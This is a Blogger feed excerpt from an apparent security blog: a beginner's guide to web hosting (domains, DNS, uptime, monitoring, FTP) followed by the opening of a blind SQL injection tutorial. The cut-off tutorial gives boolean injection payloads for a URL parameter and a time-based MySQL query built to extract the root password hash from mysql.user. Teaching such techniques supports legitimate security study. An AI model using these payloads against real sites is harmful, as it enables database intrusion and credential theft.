your server for you. Typically, the hosting provider will be resposible 
for the hardware, operating system, virus protection, patch management 
etc. You still have total control over the machine &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;depending on SLA arrangements&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;,
 and you are still in charge of your own web site content. Managed 
hosting is usually a lot more expensive, and in some cases, costs will 
be negotiated between the two parties.&lt;br /&gt;
&lt;br /&gt;
Regardless of which type of hosting plan you choose, you&#39;ll want your 
web host to provide you with a good level of technical support.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;Technical support&lt;/span&gt; is one of the things that distinguishes a premium hosting provider from a cheap one.&lt;br /&gt;
&lt;br /&gt;
A premium hosting provider will respond to your issues almost 
immediately and ensure all issues are followed up and resolved as 
quickly as possible. If an issue can&#39;t be resolved it is escalated until
 it can be. If it&#39;s related to an incident, an incident report may be 
sent to the customer within 24 hours. A job will only be closed once the
 customer approves.&lt;br /&gt;
&lt;br /&gt;
A cheap hosting provider may wait a day or so before responding. And 
even then, it might be simply to seek further information about your 
issue. They might eventually resolve the issue but probably won&#39;t ask 
you if it&#39;s OK to close the job - they&#39;ll just close it.&lt;br /&gt;
&lt;br /&gt;
A &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;bad&lt;/b&gt;&lt;/span&gt; hosting provider might not even respond.&lt;br /&gt;
&lt;br /&gt;
Of course, this is a generalization. Some cheap hosting companies are 
very quick at responding. But you need to be aware that, the less you 
pay, the greater the likelihood that the quality of the technical 
support will be lower.&lt;br /&gt;
&lt;br /&gt;
Your technical support requirements will largely depend on how complex 
your website is. If you have a small, static website, you might only 
need to contact your hosting provider once or twice per year. If you 
have a more complex site or many sites, you may find yourself contacting
 your hosting provider on a weekly or even daily basis. This is 
especially true if the website is constantly changing with new 
&quot;sub-sites&quot; being added, or if you have multiple development projects 
occuring simultaneously.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Online Ticket Systems&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Your hosting provider might offer multiple methods of contact. For 
example, they might offer phone support, live chat, email, or an online 
ticket system.&lt;br /&gt;
&lt;br /&gt;
Many hosting providers require that all support requests are logged with
 the online ticket system. Doing this ensures that there is no confusion
 over what was actually requested, and what the response was. This can 
be particularly useful on long running requests, or if you need to refer
 to another support request. A ticket system can also be a great 
knowledgebase. This can be useful for both parties.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Domain names are a special name that you can apply to your website. Once
 you apply it to your website, users can reach your website by typing 
this domain name into the browser&#39;s address bar. Examples of domain 
names are &lt;span style=&quot;color: darkorange;&quot;&gt;quackit.com&lt;/span&gt;, &lt;span style=&quot;color: darkorange;&quot;&gt;great-workout.com&lt;/span&gt; and &lt;span style=&quot;color: lime;&quot;&gt;google.com&lt;/span&gt;. You can reach the &quot;great workout&quot; website by typing its domain name &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;great-workout.com&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt; into the address bar.&lt;br /&gt;
&lt;br /&gt;
Most websites have a www subdomain applied to their domain name so that 
you can reach the website by typing &quot;www&quot; followed by the domain name &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;eg, &lt;a class=&quot;externalLink&quot; href=&quot;http://www.great-workout.com/&quot; target=&quot;_blank&quot;&gt;www.great-workout.com&lt;/a&gt;&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;. This is done on the DNS server after you&#39;ve registered the domain name, and has nothing to do with the domain name itself &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;i.e. you can add www to any domain name&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;. You can also add other subdomains as you wish.&lt;br /&gt;
&lt;br /&gt;
Furthermore, you can reach any page on a website by typing the domain name followed by the path to the page. For example, &lt;span style=&quot;color: darkorange;&quot;&gt;&lt;a class=&quot;externalLink&quot; href=&quot;http://www.great-workout.com/nutrition/index.cfm&quot; target=&quot;_blank&quot;&gt;www.great-workout.com/nutrition/index.cfm&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Only one person/company can own a domain name at any time. Therefore, if
 you want mycompany.com but someone else has it, you will need to either
 find another name, or make them an offer to buy it. You could also wait
 for it to expire and hope they don&#39;t re-register it, but you could be 
waiting a long time.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Types of Domain Names&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
There are more domain names than just those with a .com suffix. There are many other suffixes that can be used, such as &lt;span style=&quot;color: darkorange;&quot;&gt;.net&lt;/span&gt;, &lt;span style=&quot;color: darkorange;&quot;&gt;.org&lt;/span&gt;, &lt;span style=&quot;color: darkorange;&quot;&gt;.biz&lt;/span&gt;, &lt;span style=&quot;color: darkorange;&quot;&gt;.info&lt;/span&gt;
 to name a few. Most of these have a general purpose, for example, .org 
was created for organizations, .info was created for information sites 
etc.&lt;br /&gt;
&lt;br /&gt;
There are also country specific domains. For example, Australia uses &lt;span style=&quot;color: darkorange;&quot;&gt;.com.au&lt;/span&gt;, New Zealand uses &lt;span style=&quot;color: darkorange;&quot;&gt;.co.nz&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
If the .com version of your chosen name is unavailable, another suffix 
could be available. These are seen as different domain names. For 
example,mycompany.com and mycompany.org are two different domain names -
 one company could register the .com and another could register the .org
 version. The same applies for company specific domain names. Some 
countries have further criteria that you need to satisfy before they 
will allow you to register a domain name with that country&#39;s suffix.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Choosing a Domain Name&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
You should choose a domain name that truly reflects what your website is
 all about. You should try and keep your domain name concise. If it 
consists of multiple words consider separating each word with a hypen. 
This will largely depend on how the domain name looks with and without a
 hypen. It will also depend on the availability of your preferred domain
 name.&lt;br /&gt;
&lt;br /&gt;
If you find that your preferred domain name has already been registered 
under all applicable suffixes, you might need to get creative and think 
of another domain name. At this point, you may also need to consider the
 name of your website. If this isn&#39;t an option, you could try buying a 
domain name off the current owner.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Registering a Domain Name&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
You don&#39;t actually buy a domain name, you register it. To do this, you 
need to register it with a domain name registrar. You can choose how 
long you&#39;d like to register it for. Options typically include anywhere 
from 1 year to 10 years.&lt;br /&gt;
&lt;br /&gt;
In a sense, you can buy a domain name. You can do this if someone else 
already has already registered the domain name. What you&#39;re really doing
 though is buying the right to register it. You still need to keep the 
domain name registered with a registrar, otherwise someone else will be 
able to register it once it expires.&lt;br /&gt;
&lt;br /&gt;
Many web hosting providers include domain registration in their hosting 
packages. In this case, you don&#39;t need to register it through a separate
 domain name registrar.&lt;br /&gt;
&lt;br /&gt;
You can register your domain name through &lt;a class=&quot;externalLink&quot; href=&quot;http://solidshellsecurity.com/?affy=271&quot; target=&quot;_blank&quot;&gt;SolidShell Security&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Hosting a Domain Name&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Once you&#39;ve registered a domain name, your domain name registrar will 
probably point it to a webpage that they&#39;ve configured. This page may 
have ads on it - that way they can make money from your domain name!&lt;br /&gt;
&lt;br /&gt;
If you need it to point to your website (well, what else would you want 
to do with it?), you will need to update the authoritative DNS servers 
to be those of your website hosting provider. Your web hosting provider 
can provide you with these details. Once you&#39;ve received them, you 
should be able to log in to a control panel via your domain name 
registrar&#39;s website. This control panel should have an option for you to
 update the authoritative DNS servers of your domain name.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Behind the Scenes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
You may be wondering how on earth the domain name ends up pointing to your website.&lt;br /&gt;
&lt;br /&gt;
When your hosting provider configures your website, they assign it an IP address. An IP address looks something like this: &lt;span style=&quot;color: darkorange;&quot;&gt;202.45.22.13&lt;/span&gt;.
 Your IP address is unique - no other IP address on the Internet is the 
same as the one given to your website. Now, what this means is that 
anyone could access your website by typing in the IP address. 
Technically, you don&#39;t even need a domain name. Only problem with this 
is that IP addresses are hard to remember. It&#39;s much easier to remember a
 nice catchy domain name.&lt;br /&gt;
&lt;br /&gt;
Anyway, after your hosting provider assigns an IP address to your 
website, you have the option of having a domain name resolve to that IP 
address. When you enter in the details of an authoritative DNS server, 
you are specifying which server should be used to resolve that domain 
name. The authoritative DNS server links your domain name with an IP 
address. You could have as many domain names as you like pointing to the
 same IP address. Therefore, you could have &lt;span style=&quot;color: darkorange;&quot;&gt;mycompany.com&lt;/span&gt;, &lt;span style=&quot;color: darkorange;&quot;&gt;mycompany.org&lt;/span&gt; and &lt;span style=&quot;color: darkorange;&quot;&gt;mycompanys-product.com&lt;/span&gt; all pointing to the same website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As customers of a web hosting company, we expect our websites to be 
constantly available 24 hours per day, 7 days per week, 365 days per 
year. Our website visitors expect this too - especially if they&#39;re 
paying customers.&lt;br /&gt;
&lt;br /&gt;
Availability is one of the biggest challenges for hosting providers. In an ideal world, all websites would be available &lt;span style=&quot;color: darkorange;&quot;&gt;100%&lt;/span&gt; of the time. There would be no downtime - ever.&lt;br /&gt;
&lt;br /&gt;
In reality, &lt;span style=&quot;color: darkorange;&quot;&gt;100%&lt;/span&gt; availability is a 
big ask for any hosting provider. There&#39;s always a small chance 
something could go wrong. Hosting providers rely on many factors - some 
of which may be out of their control. A good hosting provider will spend
 millions of dollars on their attempts to provide availability, but even
 then, they may still only be able to offer say, &lt;span style=&quot;color: darkorange;&quot;&gt;99.999%&lt;/span&gt; availability.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: darkorange;&quot;&gt;Lets look at some of the things that could impact on availability:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Hardware failure &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;for example, faulty RAM&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
Software failure&lt;br /&gt;
Virus infection&lt;br /&gt;
Denial of Service &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;DOS&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt; attack&lt;br /&gt;
Network security is compromised &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;for example, an unauthorised hacker has gained access and decides to do some damage&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
Internet backbone link becomes unavailable&lt;br /&gt;
Power outage&lt;br /&gt;
Fire&lt;br /&gt;
Natural disaster &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;for example, earthquake, flood, hurricane&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
Terroist attack&lt;br /&gt;
Customer&#39;s code is inefficient &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;or just plain wrong!&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
And plenty more...&lt;br /&gt;
A good hosting provider will have systems in place to mitigate these risks.&lt;br /&gt;
&lt;br /&gt;
For example, they will have multiple sources of power, from multiple 
suppliers. They will also have diesel generators in place, just in case 
all suppliers have a problem. They may even have backup diesel 
generators, just in case the first ones fail. They will ensure that they
 have many days/weeks worth of diesel. And, they will have an 
arrangement with a local diesel supplier, just in case they run out of 
diesel!&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Fault Tolerance&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
The above scenario is an example of fault tolerance. Fault tolerance 
means to ensure the availability of a network resource even when there&#39;s
 a major problem. A power outage is just one of the many things that can
 go wrong.&lt;br /&gt;
&lt;br /&gt;
Hosting providers achieve fault tolerance through redundancy. Redundancy
 generally refers to having an exact replica of a network resource, 
ready to go in case the other one fails. Furthermore, there can be no 
downtime between the first one failing and the second one coming online.
 For example, a website could be hosted across two servers - each being 
mirrors of the other. If one server becomes unavailable, a load balancer
 will detect this and switch all traffic to the other server. The 
website users won&#39;t even know it happened.&lt;br /&gt;
&lt;br /&gt;
In a hosting environment, there are many network devices. There are DNS 
servers, routers, firewalls, load balancers and more. A good hosting 
provider will ensure that there are at least two of each of these.&lt;br /&gt;
&lt;br /&gt;
This is fine, but what if you are renting a dedicated server? To provide
 redundancy, you would need to rent two dedicated servers instead of 
one. This would effectively double your costs. And how would you ensure 
content is exactly the same on both computers? You would need some form 
of replication to keep them in synch. And how would the system know 
which computer to direct the traffic to? You would need a load balancer -
 or should we make that two load balancers? And what if you had a 
dedicated database server...?&lt;br /&gt;
&lt;br /&gt;
So you can see that providing availability can get very expensive. At 
some point, you need to weigh up the impact of occasional downtime with 
the cost of availability.&lt;br /&gt;
&lt;br /&gt;
You might decide to wear the risk and verify that your hosting provider 
has processes in place to get your website back online ASAP in the event
 of downtime.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;99.999% Availability?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Most hosting providers guarantee a certain level of availability. For 
example, one provider might guarantee 99.8% and another one might 
guarantee 99.999%. Whether they can keep to their promise is another 
thing.&lt;br /&gt;
&lt;br /&gt;
A good hosting provider will compensate its customers if it drops below the agreed availability.&lt;br /&gt;
&lt;br /&gt;
You should hold your hosting provider accountable for keeping their availability promise, whether its &lt;span style=&quot;color: darkorange;&quot;&gt;99.8%&lt;/span&gt; or &lt;span style=&quot;color: darkorange;&quot;&gt;99.999%&lt;/span&gt;
 availability. If availability drops below the promised percentage, you 
should make sure you receive compensation. This might be in the form of 
re-imbursement, or a credit against your account. If you don&#39;t receive 
compensation, consider taking your business elsewhere.&lt;br /&gt;
&lt;br /&gt;
Of course, availability and compensation needs to be agreed in advance 
between you and your hosting provider. A good hosting provider will have
 all this outlined in their standard hosting agreement. However, 
depending on the size of your business, you might require a separate 
agreement.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Monitoring&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
You should be proactive in monitoring your hosting provider&#39;s 
performance. Don&#39;t just let them tell you how well they did, find out 
for yourself.&lt;br /&gt;
&lt;br /&gt;
Now, by saying this, I&#39;m not suggesting that you sit at your computer &lt;span style=&quot;color: darkorange;&quot;&gt;24/7&lt;/span&gt;,
 hitting the refresh button, waiting for your website to go down! There 
are other, more efficient, ways of monitoring your website&#39;s 
availability.&lt;br /&gt;
&lt;br /&gt;
The next lesson explains a better way of monitoring your website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So we covered what website availability means and we learned about some of the challenges that hosting providers are faced with.&lt;br /&gt;
&lt;br /&gt;
In this lesson, we&#39;re going to look at methods you can use to monitor 
your website&#39;s availability. So essentially, you are also monitoring 
your hosting provider&#39;s performance of their availability claim.&lt;br /&gt;
&lt;br /&gt;
Now, you could always check your website by sitting at your computer and
 continuously clicking the refresh button every 2 minutes, 24/7, 365 
days per year, but I think you&#39;d get tired of this very quickly. An 
automated solution makes more sense.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Automated Monitoring&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Automated monitoring is when you have a program set up to automatically 
check your website for availability. You configure it once, then leave 
it to do the monitoring for you.&lt;br /&gt;
&lt;br /&gt;
You can either purchase &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;or write&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt; your own software to do this, or you can outsource this to a third party who specialize in website monitoring.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Website Monitoring Software&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Website monitoring software enables you to schedule HTTP requests 
against your website at regular intervals. In other words, you can 
configure the software to continuously check that your website is 
available. You can configure it so that, if the website is unavailable, 
you receive an alert &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;eg, pager or email&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
There are many solutions available and many allow you to monitor other network devices too - not just a web service.&lt;br /&gt;
&lt;br /&gt;
An important thing to remember when using this software is that, you 
should always install the monitoring software on a separate computer to 
the one you&#39;re monitoring. Even better, you should install the software 
on two different machines, then use the second installation to monitor 
the first. That way, if the machine hosting the monitoring software 
becomes unavailable, you&#39;ll know about it. In other words, you&#39;re 
monitoring the monitor!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Examples of monitoring software includes:&lt;/b&gt; OpManager, WhatsUp Gold, and Enterprise Monitor.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Website Monitoring Service&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
If you don&#39;t want to install your own monitoring software, you can use a
 third party provider. Even if you do want to use your own monitoring 
software, there are still benefits in using a third party.&lt;br /&gt;
&lt;br /&gt;
A monitoring service provides you with the ability to schedule 
monitoring jobs against your website without you having to install any 
software. You simply sign up with a third party service, then configure 
the monitor via an online form.&lt;br /&gt;
&lt;br /&gt;
Some monitoring services have distributed monitors. They have monitors 
set up from different places around the world. This can be very 
beneficial. One of the problems with having your monitoring all in one 
place is that, if there&#39;s a local network issue on the monitoring end, 
it can appear as though your website has become unavailable. This can 
provide you with a false picture of your website&#39;s actual availability. 
The distributed model goes a long way to eliminating this. It is highly 
unlikely that there&#39;s a local network issue in say, 7 different 
locations around the world, all at the same time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If your website has a database, you will probably need access to your 
live database at some stage. In fact, you&#39;ll need to set it up in the 
first place!&lt;br /&gt;
&lt;br /&gt;
Most &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;if not all&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;
 hosting providers provide access to your database. Coming to think of 
it, if your hosting provider doesn&#39;t provide you with access to your 
database, find a new hosting provider!&lt;br /&gt;
&lt;br /&gt;
Many hosting providers allow you to connect directly to their database server using your own database management tools &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;such as Enterprise Manager for SQL Server&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;. Others don&#39;t allow direct connections &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;for extra security&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;
 and therefore require that you use their online tools to manage your 
database. For example, your host might require that you log in to the 
control panel and use a tool such as myLittleAdmin, which is a tool 
built specifically for administering SQL Server databases remotely via 
HTTP.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Initial Database Setup&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Whichever method you&#39;re able to use, you will probably need to run 
scripts in order to create your database for the very first time. You 
will also need to run scripts to enter its data. In most cases, you can 
generate these scripts automatically from with your database management 
tool.&lt;br /&gt;
&lt;br /&gt;
Depending on your hosting provider/plan, you may be able to get them to 
create a placeholder database for you. You can then upload a .bak file 
via their job ticket area, or via FTP, and get them to restore the .bak 
file against the placeholder database. As mentioned, this probably all 
depends on your relationship with your hosting provider &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;and how much you&#39;re paying them!&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Database Queries&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Once your database has been set up, you should be able to do things like
 run queries etc. You probably won&#39;t have administrator access &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;unless you&#39;ve got your own dedicated database server&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;, so there may be some tasks you need to get your hosting provider to do.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Database Backups&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Depending on your SLA, you might not be able to perform backups. In this
 case, the hosting provider will be responsible for this. You should 
ensure that you are able to download backup files as regularly as you 
like. This might be in the form of requesting a backup from your hosting
 provider, or they might provide you with FTP access to a copy of the 
most recent backup files.&lt;br /&gt;
&lt;br /&gt;
If backups are your responsibility, you should take this task seriously 
and perform backups regularly. Imagine if one day, the database server&#39;s
 hard drive craps out and you lose a year&#39;s worth of data?&lt;br /&gt;
&lt;br /&gt;
If you don&#39;t have any backups, you&#39;re stuffed. If you do have a backup, 
you can quickly get your database back to the state it was in on the 
last backup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you&#39;ve signed up with a hosting provider, you will need to upload 
your website to the hosting provider&#39;s web server. Once it has been 
uploaded to the web server, anyone from around the world will be able to
 visit your website.&lt;br /&gt;
&lt;br /&gt;
The most common method for updating websites is via FTP. FTP stands for 
File Transfer Protocol and is the standard protocol for transferring 
files from one computer to another. To use FTP, you need an FTP client. 
An FTP client is simply a piece of software that enables you to transfer
 files from one computer to another &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;in this case, from your computer to the hosting provider&#39;s server&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
If you need an FTP client you can download &lt;span style=&quot;color: red;&quot;&gt;FileZilla&lt;/span&gt;
 for free. Another option is Coffee Cup Direct FTP, which includes a 
full-blown HTML editor that lets you edit HTML, CSS, JavaScript, and PHP
 files directly on the server.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Setting up your FTP Connection&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Once you&#39;ve downloaded and installed an FTP client, you can configure a connection for your website. In &lt;span style=&quot;color: red;&quot;&gt;FileZilla&lt;/span&gt;, you do this via the Site Manager as follows:&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;Open the Site Manager &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;File &lt;span style=&quot;color: darkorange;&quot;&gt;&amp;gt;&lt;/span&gt; Site Manager&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Click New &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;a new site will appear&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Give the new site a name &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;i.e. the name of your website&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;In the right hand pane &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;Site Details&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;, enter your hostname, username, password and any other details your hosting provider has given you.&lt;/li&gt;
&lt;li&gt;Check Don&#39;t save password&lt;/li&gt;
&lt;li&gt;Click Save&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Note that your FTP client may have a slight variation on these steps, 
but most FTP clients have a similar method for configuring new 
connections.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;Connecting to your Website&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
The above steps simply configure your FTP client to remember the details
 of your site so that you don&#39;t have to enter these details in every 
time you need to update your website.&lt;br /&gt;
&lt;br /&gt;
You&#39;ll notice in step 5 we selected the &quot;Don&#39;t save password&quot; option. 
For security reasons, you should not let the program remember your 
password - you should enter this every time you connect. Otherwise, 
imagine what could happen to your website if your computer got stolen...&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: darkorange;&quot;&gt;&lt;b&gt;To connect to your website, either:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;Open the Site Manager &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;File &lt;span style=&quot;color: darkorange;&quot;&gt;&amp;gt;&lt;/span&gt; Site Manager&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Select your website &lt;span style=&quot;color: darkorange;&quot;&gt;(&lt;/span&gt;by clicking on it&lt;span style=&quot;color: darkorange;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Click Connect&lt;/li&gt;
&lt;li&gt;Uploading your Files&lt;/li&gt;
&lt;li&gt;Once
 you connect to your website, you will see your local drive on the left 
pane, and your remote website on the right pane. The first time you 
connect you will need to upload your whole website into one of the 
directories on the remote site.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
In most cases, this is all you need to do. Your website will appear as soon as you type its URL into your browser&#39;s address bar.&lt;br /&gt;
&lt;br /&gt;
Some web hosting providers may require that you perform another step 
before the changes go live. For example, they might require that you run
 a replication process via their online control panel. This would be the
 case if the FTP server was on a different computer to your physical 
website. This provides an extra layer of security to your website.&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/8180790143353812368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/8180790143353812368'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/everything-about-web-hosting.html' title='EVERYTHING ABOUT WEB-HOSTING'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-5318105089463905675</id><published>2012-09-25T02:32:00.002+05:30</published><updated>2012-09-25T02:32:53.168+05:30</updated><title type='text'>Blind Sql Injection – Regular Expressions Attack</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-family: &#39;courier new&#39;;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Blind Sql Injection – Regular Expressions Attack&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div align=&quot;center&quot;&gt;
-@nu11_()v0!d&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
This type of attack can become time-intensive because a new statement must be crafted for&lt;br /&gt;
each bit recovered. [Wikipedia]&lt;br /&gt;
&lt;br /&gt;
How blind sql injection can be used?&lt;br /&gt;
There are several uses for the Blind Sql Injection:&lt;br /&gt;
• Testing the vulnerability;&lt;br /&gt;
• Finding the table name;&lt;br /&gt;
• Exporting a value;&lt;br /&gt;
&lt;br /&gt;
Every techniques are based on the &#39;guess attack&#39;, because we only have two different input:&lt;br /&gt;
TRUE or FALSE. Let me explain better...&lt;br /&gt;
Testing vulnerability (MySQL - MSSQL):&lt;br /&gt;
&lt;br /&gt;
Let&#39;s start with an easy example. We have this type of URL:&lt;br /&gt;
Code:&lt;br /&gt;
site.com/news.php?id=2&lt;br /&gt;
it will result in this type of query on the database:&lt;br /&gt;
Code:&lt;br /&gt;
SELECT * FROM news WHERE ID = 2&lt;br /&gt;
Now, we can try some sql injection techniques, for example the blind sql injection!&lt;br /&gt;
Code:&lt;br /&gt;
site.com/news.php?id=2 and 1=0&lt;br /&gt;
&lt;br /&gt;
SQL query is now:&lt;br /&gt;
Code:&lt;br /&gt;
SELECT * FROM news WHERE ID = 2 and 1=0&lt;br /&gt;
In this case the query will not return anything (FALSE) because 1 is different from 0; Let&#39;s do&lt;br /&gt;
the litmus test: try to get the TRUE statement forcing the AND to be TRUE;&lt;br /&gt;
Code:&lt;br /&gt;
site.com/news.php?id=2 and 0=0&lt;br /&gt;
In this case 0 is equal to 0... Got it! We should now see the original news page. We now know&lt;br /&gt;
that is vulnerable to Blind Sql Injection.&lt;br /&gt;
__________________________________________________ _________________________&lt;br /&gt;
&lt;br /&gt;
Time attack (MySQL)&lt;br /&gt;
When you can&#39;t see any kind of results, you must use the time attack.&lt;br /&gt;
In this example we will try to obtain the password of root user in mysql (if your have root&lt;br /&gt;
priviledges on mysql).&lt;br /&gt;
BENCHMARK function is used to sleep for some seconds.&lt;br /&gt;
&lt;br /&gt;
Syntax: BENCHMARK(how many times,thing to do).&lt;br /&gt;
When you use it in IF statement, you will be able to make time attack in MySQL&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
SELECT 1,1 UNION SELECT 
IF(SUBSTRING(Password,1,1)=&#39;a&#39;,BENCHMARK(100000,SH A1(1)),0) 
User,Password FROM mysql.user WHERE User = ‘root’;&lt;br /&gt;
